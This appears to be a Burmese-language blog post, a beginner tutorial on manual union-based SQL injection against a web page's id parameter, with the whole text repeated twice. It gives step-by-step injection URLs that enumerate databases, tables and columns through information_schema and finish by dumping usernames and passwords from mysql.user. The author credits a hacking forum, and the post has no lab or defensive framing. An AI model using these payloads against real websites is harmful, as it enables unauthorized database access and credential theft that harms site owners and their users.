#############################
Beginner ေတြအတြက္ရည္ရြယ္ပါတယ္။ ဖိုရမ္ထဲမွာ လည္းေရးထားတာမေတြ႕တာနဲ႕ ေရးလိုက္တာပါ။
ပထမဆံုးအေနနဲ႕ ေျပာခ်င္တာက က်ေနာ္ တို႕ ဒါကို ဘယ္လိုေနရာမွာသံုးမွာလဲ?
user နဲ႕ပတ္သက္တဲ႕ table မေတြ႕တဲ့အခါမိ်ဳးမွာ စမ္းသံုးနိုုင္တယ္။
က်ေနာ္ တို႕ ဆိုက္တဆိုက္ကို column အေရအတြက္သိၿပီး တဲ့ အဆင့္ကစမယ္
http://www.site.com/product.php?id=3' ဒီဆိုက္မွာ column အေရအတြက္ ၅ ခုရွိတယ္ဆိုပါေတာ့
က်ေနာ္ တို႕ ေအာက္က code နဲ႕ ပံုမွန္အတိုင္း inject လုပ္ၾကည့္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=database()--
အဲလို inject လုပ္တဲ့အခါမွာ user table မေတြ႕ဘူးျဖစ္တတ္ပါတယ္။
ဒီလိုအခါမ်ိဳးမွာ က်ေနာ္ တို႕ ခုနည္းကိုသိထားမယ္ဆိုရင္ေတာ့ စမ္းၾကည့္လို႕ရနိုင္တာေပါ့။
ခုက်ေနာ္ တို႕ကို ထုတ္ေပးတဲ့ table name ေတြက default database ဒါမွမဟုတ္ current database ထဲကေနထုတ္တာပါ။
ဒီေတာ့က်ေနာ္ တို႕ database ဘယ္နခုရွိလဲ အရင္ဆံုးသိေအာင္ျပန္လုပ္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata--
ဒီ code ကိုသံုးလိုက္ရင္ schema_name ကိုသိရမယ္။
ဥပမာ information_schema နဲ႕ mysql ဆိုၿပီး ၂ ခုရွိတယ္ဆိုပါစို႕။ဘယ္ဟာက default database လည္းဆိုတာ သိရေအာင္
ေအာက္က code ေလးသံုးၿပီး စမ္းၾကည့္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(database()),5--
အဲလိုစမ္းလို႕ ေတြ႔ရတဲ့ database ဟာ default database ပါဘဲ
ဥပမာ information_schema ကိုျပတယ္ဆိုပါေတာ့။က်ေနာ္ တို႕ mysql ထဲက ေန ထပ္ထုတ္ၾကည့္မယ္။
သံုးရမယ္ query က
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=0xHEXmysql--
0x ရဲ႕ေနာက္မွာ mysql ရဲ႕ hex value ကိုထည့္ရမယ္
ဒါဆိုက်ေနာ္ တို႕ user table ေတြ႔နိုင္ပါတယ္
တကယ္လို႕ ေတြ႔ခဲ့ပီဆိုရင္ column ရွာဖို႔အတြက္
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_schema=0xHEXmysql and table_name=0xHEXtable_name--
table_name ေနရာမွာ ကိုယ္လိုခ်င္တဲ့ table ကိုထည့္ေပ့ါ
ေနာက္ဆံုး data ေတြကို ထုတ္မယ္ ဆိုရင္ေတာ့ database_name.table_name ကိုသံုးရမယ္
ေအာက္က လို query မိ်ဳးျဖစ္သြားမယ္
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(username,0x3a,password),5 from mysql.user--
ဒီလိုမ်ိဳးနည္းနဲ႕ က်ေနာ္တို႕ စမ္းနိုင္ပါတယ္
အဆင္ေျပမယ္ထင္ပါတယ္ ဒီက်ဴတို ကို က်ေနာ္ ဘယ္က ယူလာမွန္းေတာ့ မသိေတာ့ဘူး
HF ကလို႕ေတာ့ထင္ပါတယ္
Beginner ေတြအတြက္ရည္ရြယ္ပါတယ္။ ဖိုရမ္ထဲမွာ လည္းေရးထားတာမေတြ႕တာနဲ႕ ေရးလိုက္တာပါ။
ပထမဆံုးအေနနဲ႕ ေျပာခ်င္တာက က်ေနာ္ တို႕ ဒါကို ဘယ္လိုေနရာမွာသံုးမွာလဲ?
user နဲ႕ပတ္သက္တဲ႕ table မေတြ႕တဲ့အခါမိ်ဳးမွာ စမ္းသံုးနိုုင္တယ္။
က်ေနာ္ တို႕ ဆိုက္တဆိုက္ကို column အေရအတြက္သိၿပီး တဲ့ အဆင့္ကစမယ္
http://www.site.com/product.php?id=3' ဒီဆိုက္မွာ column အေရအတြက္ ၅ ခုရွိတယ္ဆိုပါေတာ့
က်ေနာ္ တို႕ ေအာက္က code နဲ႕ ပံုမွန္အတိုင္း inject လုပ္ၾကည့္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=database()--
အဲလို inject လုပ္တဲ့အခါမွာ user table မေတြ႕ဘူးျဖစ္တတ္ပါတယ္။
ဒီလိုအခါမ်ိဳးမွာ က်ေနာ္ တို႕ ခုနည္းကိုသိထားမယ္ဆိုရင္ေတာ့ စမ္းၾကည့္လို႕ရနိုင္တာေပါ့။
ခုက်ေနာ္ တို႕ကို ထုတ္ေပးတဲ့ table name ေတြက default database ဒါမွမဟုတ္ current database ထဲကေနထုတ္တာပါ။
ဒီေတာ့က်ေနာ္ တို႕ database ဘယ္နခုရွိလဲ အရင္ဆံုးသိေအာင္ျပန္လုပ္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(schema_name),5 from information_schema.schemata--
ဒီ code ကိုသံုးလိုက္ရင္ schema_name ကိုသိရမယ္။
ဥပမာ information_schema နဲ႕ mysql ဆိုၿပီး ၂ ခုရွိတယ္ဆိုပါစို႕။ဘယ္ဟာက default database လည္းဆိုတာ သိရေအာင္
ေအာက္က code ေလးသံုးၿပီး စမ္းၾကည့္မယ္။
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(database()),5--
အဲလိုစမ္းလို႕ ေတြ႔ရတဲ့ database ဟာ default database ပါဘဲ
ဥပမာ information_schema ကိုျပတယ္ဆိုပါေတာ့။က်ေနာ္ တို႕ mysql ထဲက ေန ထပ္ထုတ္ၾကည့္မယ္။
သံုးရမယ္ query က
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=0xHEXmysql--
0x ရဲ႕ေနာက္မွာ mysql ရဲ႕ hex value ကိုထည့္ရမယ္
ဒါဆိုက်ေနာ္ တို႕ user table ေတြ႔နိုင္ပါတယ္
တကယ္လို႕ ေတြ႔ခဲ့ပီဆိုရင္ column ရွာဖို႔အတြက္
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_schema=0xHEXmysql and table_name=0xHEXtable_name--
table_name ေနရာမွာ ကိုယ္လိုခ်င္တဲ့ table ကိုထည့္ေပ့ါ
ေနာက္ဆံုး data ေတြကို ထုတ္မယ္ ဆိုရင္ေတာ့ database_name.table_name ကိုသံုးရမယ္
ေအာက္က လို query မိ်ဳးျဖစ္သြားမယ္
http://www.site.com/product.php?id=3 union select 1,2,3,group_concat(username,0x3a,password),5 from mysql.user--
ဒီလိုမ်ိဳးနည္းနဲ႕ က်ေနာ္တို႕ စမ္းနိုင္ပါတယ္
အဆင္ေျပမယ္ထင္ပါတယ္ ဒီက်ဴတို ကို က်ေနာ္ ဘယ္က ယူလာမွန္းေတာ့ မသိေတာ့ဘူး
HF ကလို႕ေတာ့ထင္ပါတယ္
No comments:
Post a Comment